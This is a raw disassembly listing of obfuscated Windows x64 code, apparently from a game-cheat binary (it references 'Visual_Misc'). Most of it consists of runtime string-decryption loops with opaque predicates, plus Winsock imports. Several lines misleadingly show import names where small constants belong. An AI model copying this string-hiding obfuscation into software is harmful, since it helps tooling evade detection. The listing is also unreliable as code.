add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008ba9b
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008bd2c
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008c07b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008bd5f
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008bd8b
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008c0c2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008bdb8
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008c107
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008ba56
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008be36
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008be60
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x14008bfdd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008be8b
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x14008bfb0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008beb5
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x14008c104
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008bee1
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008c0c2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008ba18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r11
inc r11
jmp 0x14008b5a3
lea edx, [r9 + 0x80]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x80
add dil, r10b
add dil, dl
jmp 0x14008c0c2
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008bfb0
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008bfdd
lea edx, [r9 - 0x10]
mov ecx, gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x70
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x10
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x4a0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, cl
mov byte [rbp + r11 + 0x4a0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008c104
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x14008b5a3
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, r9b
mov byte [rbp + r11 + 0x4a0], r10b
inc r8
dec r11
inc r11
jmp 0x14008b5a3
movzx r9d, r11b
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
sub r9b, 0x30
movzx eax, r10b
and al, r9b
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x4a0], cl
jmp 0x14008c104
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14008b5a3
lea rcx, [r11 + r15]
and sil, cl
mov eax, gethostname
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x4a0]
add rax, r8
add r11, rax
inc r11
jmp 0x14008b5a3
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008b5a0
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008b585
lea rcx, [rbp + 0x16aba60]
jmp 0x14008c1ae
lea rcx, [rbp + 0x9a9ab0]
jmp 0x14008c1ae
lea rcx, [rbp + 0x4a0]
mov dword [rsp + 0x28], r13d
lea r12, str._.3f
mov qword [rsp + 0x20], r12
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401fcb10]
call fcn.14003f530
mov byte [rbp + 0x720], 0x53
mov byte [rbp + 0x721], WSASetLastError
mov byte [rbp + 0x722], 0x67
mov byte [rbp + 0x723], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x724], 0x61
mov byte [rbp + 0x725], WSACleanup
mov byte [rbp + 0x726], WSAGetLastError
mov byte [rbp + 0x727], WSAGetLastError
mov byte [rbp + 0x728], 0x28
mov byte [rbp + 0x729], 0x5d
mov byte [rbp + 0x72a], 0x62
mov byte [rbp + 0x72b], 0x62
mov byte [rbp + 0x72c], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x72d], 0x66
mov byte [rbp + 0x72e], 0x60
mov byte [rbp + 0x72f], WSASetLastError
mov byte [rbp + 0x730], 0x63
mov byte [rbp + 0x731], 0x62
mov byte [rbp + 0x732], reloc.WS2_32.dll_select
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x733], xmm0
mov byte [rbp + 0x743], al
movabs rsi, 0xf9ff51f1fa900d80
movabs r15, 0xd5fb3d9dd9f05e80
movabs r14, 0xedfdf5d5efb02880
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x24
jae 0x14008cb1d
movzx r9d, byte [rbp + r10 + 0x720]
mov r11d, r9d
nop dword [rax]
cmp rbx, r10
ja 0x14008cb11
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008c2f3
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
add dil, 0x80
jmp 0x14008c32d
je 0x14008ca9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008ca1d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c9c3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c99f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c959
movzx edx, r10b
cmp r8, r10
ja 0x14008cb05
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14008c367
lea ecx, [rdx + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008c3b0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c943
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c923
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c909
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c8ef
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008c8dd
nop dword [rax + rax]
lea rcx, [r8 + rbx]
cmp rcx, r10
jbe 0x14008c5c1
nop dword [rax]
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008c5aa
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008c58d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008c573
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008c55c
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008c548
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 5]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008cae8
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008cacb
lea rcx, [r8 + 5]
cmp rbx, rcx
jb 0x14008c4c6
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008c4a9
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008c34a
mov rbx, rcx
lea r8, [rcx + 0x64]
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x14008c522
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14008c50b
lea rcx, [r8 + 0x64]
cmp rbx, rcx
ja 0x14008c4f4
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008c4e0
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008c548
mov rbx, rcx
lea r8, [rcx + 0x80]
jmp 0x14008c3c0
lea ecx, [rdx + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008c331
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x80
jmp 0x14008c2c0
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
lea edi, [rdx + r9]
jmp 0x14008ca04
movzx ecx, r9b
and cl, dl
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, dl
jmp 0x14008ca35
movzx ecx, r9b
and cl, dl
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, dl
jmp 0x14008ca60
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
lea edi, [rdx + r9]
movzx eax, byte [rbp + r10 + 0x720]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c2a3
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
lea edi, [rdx + r9]
jmp 0x14008ca01
movzx ecx, r9b
and cl, dl
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, dl
jmp 0x14008c9dc
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
lea edi, [rdx + r9]
dec r10
inc r10
jmp 0x14008c2a3
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
lea edi, [rdx + r9]
inc r8
dec r10
inc r10
jmp 0x14008c2a3
movzx ecx, r9b
and cl, dl
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, dl
jmp 0x14008c972
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x14008c667
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x80
cmp rcx, 0x41
je 0x14008c8c8
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14008c710
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
cmp rbx, 9
jae 0x14008c8a8
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14008c7d2
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
cmp r8, 0xa
jb 0x14008c898
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, r9b
lea edi, [rcx + rcx]
jmp 0x14008c972
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c69e
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x720]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c2a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c6c0
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14008ca04
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c6e5
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x14008c9dc
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c5e6
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
dec r10
inc r10
jmp 0x14008c2a3
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c959
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c751
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x14008c2a3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c77c
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008ca01
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c7a7
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008ca04
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c616
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x14008ca35
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c674
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c804
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x14008ca60
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c826
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x14008ca04
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c84b
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x14008c9dc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008c873
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x14008c2a3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c643
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x14008c972
mov byte [rbp + r10 + 0x720], dil
inc r10
jmp 0x14008c2a3
movzx eax, r9b
and al, r10b
add al, al
movzx edi, byte [rbp + r10 + 0x720]
sub dil, al
add dil, r10b
add dil, r9b
jmp 0x14008c9dc
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r10b
sub dil, cl
jmp 0x14008ca35
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
jmp 0x14008caa8
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x80
jmp 0x14008ca35
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x80
jmp 0x14008ca04
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
add dil, 0x80
dec r10
inc r10
jmp 0x14008c2a3
add dl, 0x80
movzx eax, dl
and al, r9b
add al, al
sub dl, al
lea edi, [r9 + rdx]
jmp 0x14008c96e
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x80
add cl, r9b
mov byte [rbp + r10 + 0x720], cl
inc r8
dec r10
inc r10
jmp 0x14008c2a3
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x14008c2a3
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
lea edx, [r10 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x80
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0x720], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008c2a3
lea rcx, [r10 + r15]
and r11b, cl
add r11b, r11b
movzx edi, r9b
sub dil, r11b
add dil, 0x80
add dil, cl
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x80
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x720], al
inc r8
add rax, r8
sub r10, rax
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, r10b
mov byte [rbp + r10 + 0x720], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x720]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c2a3
lea rcx, [r10 + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x720]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c2a3
add r10b, 0x80
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x80
jmp 0x14008c2a0
add r10b, 0x80
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x80
jmp 0x14008c290
lea rcx, [rbp + 0x1491920]
jmp 0x14008cb24
lea rcx, [rbp + 0x15926a0]
jmp 0x14008cb24
lea rcx, [rbp + 0x720]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r12
movaps xmm3, xmm13
movaps xmm2, xmm12
lea rdx, [0x1401fcb14]
call fcn.14003f530
call fcn.14000cd80
mov dword [rbp + 0x5c], 0x43bf0000
mov dword [rbp + 0x60], 0x428c0000
lea rcx, [rbp + 0x5c]
call fcn.14001a7c0
mov dword [rbp + 0x64], 0x438d0000
mov dword [rbp + 0x68], 0x43410000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x64]
lea rcx, str.Visual_Misc
call fcn.140009e00
mov byte [rbp + 0x4c0], 4
mov byte [rbp + 0x4c1], 0x68
mov byte [rbp + 0x4c2], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x4c3], 0xdb
mov byte [rbp + 0x4c4], recvfrom
mov byte [rbp + 0x4c5], 0x65
mov byte [rbp + 0x4c6], 0x67
mov byte [rbp + 0x4c7], 0x1a
mov byte [rbp + 0x4c8], 0x63
mov byte [rbp + 0x4c9], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x4ca], reloc.WS2_32.dll_socket
mov byte [rbp + 0x4cb], 0x66
mov byte [rbp + 0x4cc], 0x67
mov byte [rbp + 0x4cd], 0xf5
xorps xmm0, xmm0
movups xmmword [rbp + 0x4ce], xmm0
movabs rsi, 0x1ad640a2b32ce19f
movabs r15, 0x862f432d7fe0681b
movabs r14, 0x5082c1e81986a4dd
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
mov r10, r13
cmp r10, 0x1e
jae 0x14008d640
movzx r9d, byte [rbp + r10 + 0x4c0]
mov rdx, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x14008d634
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008cc73
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x59
jmp 0x14008cc93
je 0x14008d5c3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d563
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008d542
cmp r8, r10
ja 0x14008d628
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x14008ccc4
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
jmp 0x14008cd00
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d4fc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d4d8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008d4a9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d45e
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008d147
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008d128
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008d100
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14008d0db
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008d0bc
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008d09e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d07f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008d04e
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x64]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008d60b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008d5ee
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14008ce80
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008ce65
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008ce4a
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008cfcf
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008cf8b
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x20]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008cf5a
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008cf3b
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008cf1c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008cefd
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008cedb
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008cebc
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008ce9b
lea rbx, [r8 + 0x42]
lea r8, [rbx + 8]
jmp 0x14008cd10
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
jmp 0x14008cd00
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
jmp 0x14008cc93
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
jmp 0x14008cc37
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
dec r10
inc r10
jmp 0x14008cc24
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
movzx r11d, r10b
jmp 0x14008d414
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14008d4bf
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d4bf
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
movzx r11d, r10b
jmp 0x14008d478
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d57c
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x69
cmp r8, 0xa
jb 0x14008d3de
movzx r11d, r10b
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r9b
mov edx, 5
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008d515
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x14008d43e
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14008d260
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
cmp rbx, 0x40
jae 0x14008d3ee
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14008d348
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008cfa1
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d4bf
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
add rbx, r8
jmp 0x14008d4bf
movzx r11d, r10b
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14008d414
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008cc24
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008cc24
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
movzx r11d, r10b
jmp 0x14008d515
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14008d16f
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
jmp 0x14008cfe5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d1ad
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x4c0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008cc24
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008d1dd
movzx r11d, r10b
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d478
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d209
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
